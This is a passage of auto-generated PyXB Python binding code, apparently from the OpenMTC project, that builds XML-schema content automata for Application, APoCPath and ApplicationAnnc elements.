pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(Application._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
14, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(Application._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
15, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(Application._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
16, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_5, False))
symbol = pyxb.binding.content.ElementUse(Application._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'announceTo')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
17, 12))
st_5 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_6, False))
symbol = pyxb.binding.content.ElementUse(
Application._UseForTag(pyxb.namespace.ExpandedName(Namespace, u'aPoC')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
18, 12))
st_6 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_6)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_7, False))
symbol = pyxb.binding.content.ElementUse(Application._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'aPoCPaths')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
19, 12))
st_7 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_7)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_8, False))
symbol = pyxb.binding.content.ElementUse(Application._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'locRequestor')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
20, 12))
st_8 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_8)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_9, False))
symbol = pyxb.binding.content.ElementUse(Application._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'referencePoint')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
21, 12))
st_9 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_9)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_10, False))
symbol = pyxb.binding.content.ElementUse(Application._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'containersReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
23, 12))
st_10 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_10)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_11, False))
symbol = pyxb.binding.content.ElementUse(Application._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'groupsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
24, 12))
st_11 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_11)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_12, False))
symbol = pyxb.binding.content.ElementUse(Application._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
25, 12))
st_12 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_12)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_13, False))
symbol = pyxb.binding.content.ElementUse(Application._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
26, 12))
st_13 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_13)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_14, False))
symbol = pyxb.binding.content.ElementUse(Application._UseForTag(
pyxb.namespace.ExpandedName(Namespace,
u'notificationChannelsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
27, 12))
st_14 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_14)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_4, True)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_4, False)]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_5, True)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_5, False)]))
st_5._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_6, True)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_6, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_6, False)]))
st_6._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_7, True)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_7, False)]))
st_7._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_8, True)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_8, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_8, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_8, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_8, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_8, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_8, False)]))
st_8._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_9, True)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_9, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_9, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_9, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_9, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_9, False)]))
st_9._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_10, True)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_10, False)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_10, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_10, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_10, False)]))
st_10._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_11, True)]))
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_11, False)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_11, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_11, False)]))
st_11._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_12, [
fac.UpdateInstruction(cc_12, True)]))
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_12, False)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_12, False)]))
st_12._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_13, [
fac.UpdateInstruction(cc_13, True)]))
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_13, False)]))
st_13._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_14, [
fac.UpdateInstruction(cc_14, True)]))
st_14._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
Application._Automaton = _BuildAutomaton_11()
APoCPaths._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'aPoCPath'), APoCPath,
scope=APoCPaths, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
52, 4)))
def _BuildAutomaton_12():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_12
del _BuildAutomaton_12
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=None,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
48, 12))
counters.add(cc_0)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(APoCPaths._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'aPoCPath')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
48, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
APoCPaths._Automaton = _BuildAutomaton_12()
APoCPath._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'path'),
pyxb.binding.datatypes.anyURI, scope=APoCPath,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
62, 4)))
APoCPath._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=APoCPath,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
APoCPath._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings,
scope=APoCPath, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18,
4)))
def _BuildAutomaton_13():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_13
del _BuildAutomaton_13
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
57, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
58, 12))
counters.add(cc_1)
states = []
final_update = set()
symbol = pyxb.binding.content.ElementUse(
APoCPath._UseForTag(pyxb.namespace.ExpandedName(Namespace, u'path')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
56, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(APoCPath._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
57, 12))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(APoCPath._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/application.xsd',
58, 12))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
transitions.append(fac.Transition(st_2, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, True)]))
st_2._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
APoCPath._Automaton = _BuildAutomaton_13()
ApplicationAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=ApplicationAnnc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
ApplicationAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime'),
pyxb.binding.datatypes.dateTime, scope=ApplicationAnnc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16,
4)))
ApplicationAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings,
scope=ApplicationAnnc, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18,
4)))
ApplicationAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'announceTo'), AnnounceTo,
scope=ApplicationAnnc, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 58,
4)))
ApplicationAnnc._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'link'),
pyxb.binding.datatypes.anyURI,
scope=ApplicationAnnc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
74, 4)))
ApplicationAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'groupsReference'),
pyxb.binding.datatypes.anyURI, scope=ApplicationAnnc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 77,
4)))
ApplicationAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'containersReference'),
pyxb.binding.datatypes.anyURI, scope=ApplicationAnnc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 79,
4)))
ApplicationAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightsReference'),
pyxb.binding.datatypes.anyURI, scope=ApplicationAnnc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 81,
4)))
def _BuildAutomaton_14():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_14
del _BuildAutomaton_14
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd',
13, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd',
14, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd',
15, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd',
16, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd',
18, 12))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd',
19, 12))
counters.add(cc_5)
cc_6 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd',
20, 12))
counters.add(cc_6)
states = []
final_update = set()
symbol = pyxb.binding.content.ElementUse(ApplicationAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'link')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(ApplicationAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(ApplicationAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd',
14, 12))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(ApplicationAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd',
15, 12))
st_3 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(ApplicationAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'announceTo')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd',
16, 12))
st_4 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(ApplicationAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'containersReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd',
18, 12))
st_5 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_5, False))
symbol = pyxb.binding.content.ElementUse(ApplicationAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'groupsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd',
19, 12))
st_6 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_6)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_6, False))
symbol = pyxb.binding.content.ElementUse(ApplicationAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/applicationAnnc.xsd',
20, 12))
st_7 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_7)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
transitions.append(fac.Transition(st_2, [
]))
transitions.append(fac.Transition(st_3, [
]))
transitions.append(fac.Transition(st_4, [
]))
transitions.append(fac.Transition(st_5, [
]))
transitions.append(fac.Transition(st_6, [
]))
transitions.append(fac.Transition(st_7, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_0, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_1, False)]))
